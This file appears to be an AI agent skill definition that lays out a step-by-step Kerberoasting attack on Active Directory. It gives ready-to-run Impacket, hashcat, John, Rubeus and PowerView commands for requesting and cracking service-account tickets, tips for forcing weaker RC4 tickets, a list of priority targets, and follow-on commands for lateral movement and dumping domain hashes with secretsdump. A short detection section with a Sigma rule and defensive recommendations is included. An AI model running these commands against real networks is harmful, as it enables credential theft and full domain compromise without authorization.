--- name: exploiting-kerberoasting-with-impacket-eade79284c20 description: Perform Kerberoasting attacks using Impacket's GetUserSPNs to extract and crack Kerberos TGS tickets for Active Directory service accounts. domain: cybersecurity subdomain: red-teaming tags: - kerberoasting - impacket - active-directory - credential-access - kerberos - t1558-003 - service-accounts version: '1.0' author: Krishna Kumar (xalgord) license: Apache-2.0 d3fend_techniques: - Application Protocol Command Analysis - Network Isolation - Network Traffic Analysis - Client-server Payload Profiling - Network Traffic Community Deviation nist_csf: - ID.RA-01 - GV.OV-02 - DE.AE-07 --- # Exploiting Kerberoasting with Impacket ## Overview Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's `GetUserSPNs.py` is the standard tool for Linux-based Kerberoasting attacks. ## When to Use - When performing authorized security testing that involves exploiting kerberoasting with impacket - When analyzing malware samples or attack artifacts in a controlled environment - When conducting red team exercises or penetration testing engagements - When building detection capabilities based on offensive technique understanding ## Most Often Missed & How to Confirm - **Roasting accounts you can't crack.** A `$krb5tgs$` hash is only a win if the password is weak. gMSA/managed accounts (240-char random) won't crack — triage by `PasswordLastSet` age and prioritize stale, human-set service passwords. - **Defaulting to AES tickets.** If the account supports AES you'll get mode 19700 (far slower to crack). Use Rubeus `/tgtdeleg` or downgrade tactics to pull crackable **RC4 (etype 0x17, hashcat -m 13100)** where the account allows it. - **Mangled hash files.** Line wrapping from `GetUserSPNs.py` output breaks hashcat; keep one hash per line. - **Targeting `krbtgt`** (not roastable) or ignoring AdminCount=1 / Domain Admin SPN holders that give the highest payoff. - **How to confirm a hit:** the success signal is a **cracked plaintext** — `hashcat -m 13100 --show` prints `...:Summer2024!`. Then prove it's usable: `crackmapexec smb -u svc_sql -p 'Summer2024!'` returns `[+]`, and if the account is privileged `secretsdump.py corp.local/svc_sql:'...'@dc -just-dc-ntlm` runs. Don't conclude an account is "uncrackable" until you've requested an RC4 ticket (not just AES) and run it against a real wordlist + rules; an unbroken AES hash is not proof of a strong password. ## Prerequisites - Valid domain credentials (any domain user can request TGS tickets) - Network access to a Domain Controller (TCP/88 Kerberos, TCP/389 LDAP) - Impacket installed (`pip install impacket`) - Hashcat or John the Ripper for offline cracking - Wordlist (e.g., rockyou.txt, SecLists) > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. ## MITRE ATT&CK Mapping | Technique ID | Name | Tactic | |---|---|---| | T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access | | T1087.002 | Account Discovery: Domain Account | Discovery | | T1110.002 | Brute Force: Password Cracking | Credential Access | ## Step 1: Enumerate Kerberoastable Accounts ```bash # List all user accounts with SPNs (without requesting tickets) GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 # Output example: # ServicePrincipalName Name MemberOf PasswordLastSet # ---------------------------- ---------- -------------------------------- ------------------- # MSSQLSvc/SQL01.corp.local svc_sql CN=Domain Admins,CN=Users,... 2023-01-15 10:30:22 # HTTP/web01.corp.local svc_web CN=Web Admins,CN=Users,... 2024-03-20 14:15:00 # HOST/backup01.corp.local svc_backup CN=Backup Operators,CN=Users,... 2022-06-01 08:45:10 ``` ## Step 2: Request TGS Tickets ```bash # Request TGS tickets for all Kerberoastable accounts GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request # Request ticket for a specific SPN GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \ -request-user svc_sql # Output format (hashcat-compatible): # $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123... # Save to file for cracking GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \ -request -outputfile kerberoast_hashes.txt # Using NTLM hash instead of password (Pass-the-Hash) GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \ -dc-ip 10.10.10.1 -request -outputfile hashes.txt # Request AES tickets (if available) GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \ -request -outputfile hashes.txt ``` ## Step 3: Crack TGS Tickets Offline ```bash # Hashcat - RC4 encrypted tickets (mode 13100) hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \ --rules-file /usr/share/hashcat/rules/best64.rule # Hashcat - AES-256 encrypted tickets (mode 19700) hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # John the Ripper john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt # Check results hashcat -m 13100 kerberoast_hashes.txt --show # $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024! ``` ## Step 4: Validate and Use Cracked Credentials ```bash # Verify cracked credentials crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local # Check for local admin access crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth # Use credentials for lateral movement psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local # If service account is Domain Admin secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm ``` ## Alternative Tools ### Rubeus (Windows) ```powershell # Kerberoast all accounts .\Rubeus.exe kerberoast /outfile:hashes.txt # Target specific user .\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt # Request RC4-only tickets (easier to crack) .\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt # Kerberoast with AES .\Rubeus.exe kerberoast /aes /outfile:hashes.txt ``` ### PowerView (PowerShell) ```powershell Import-Module .\PowerView.ps1 Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt ``` ## Targeted Kerberoasting High-value targets for Kerberoasting: | Account Type | Why | Risk | |---|---|---| | Service accounts in Domain Admins | Direct path to domain compromise | Critical | | SQL service accounts (MSSQLSvc) | Often have excessive privileges | High | | Exchange service accounts | Access to all email | High | | Accounts with AdminCount=1 | Previously/currently privileged | High | | Accounts with old passwords | More likely to use weak passwords | Medium | ## Detection ### Windows Event Logs ``` Event ID 4769 - Kerberos Service Ticket Request - Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected - Monitor for: Single user requesting many TGS tickets in short period - Monitor for: Service ticket requests from unusual source IPs ``` ### Sigma Rule ```yaml title: Potential Kerberoasting Activity status: stable logsource: product: windows service: security detection: selection: EventID: 4769 TicketEncryptionType: '0x17' # RC4 ServiceName|endswith: '$' filter: ServiceName: 'krbtgt' condition: selection and not filter level: medium tags: - attack.credential_access - attack.t1558.003 ``` ## Defensive Recommendations 1. **Use Group Managed Service Accounts (gMSA)** - 240-character random passwords, auto-rotated 2. **Set strong passwords (25+ chars)** on all service accounts 3. **Enable AES-only encryption** - Disable RC4 via GPO 4. **Monitor Event ID 4769** for RC4 TGS requests 5. **Implement Managed Service Accounts** where gMSA is not feasible 6. **Regular audits** - Run BloodHound to identify Kerberoastable accounts 7. **Protected Users group** - Add sensitive service accounts 8. **Honeypot SPNs** - Create decoy accounts with SPNs to detect attacks ## References - MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/ - Impacket: https://github.com/fortra/impacket - Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1 - Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/ --- Source attribution: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/red-teaming/exploiting-kerberoasting-with-impacket/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. 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See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/red-teaming/exploiting-kerberoasting-with-impacket/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: Security Engineer Specialties: API Tools: Hashcat, Impacket, John The Ripper Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: ccc5ce8488edd8029b6f10864c0b5ec8c8fc7c8f959d7b62fedb5d2b8b3dbc29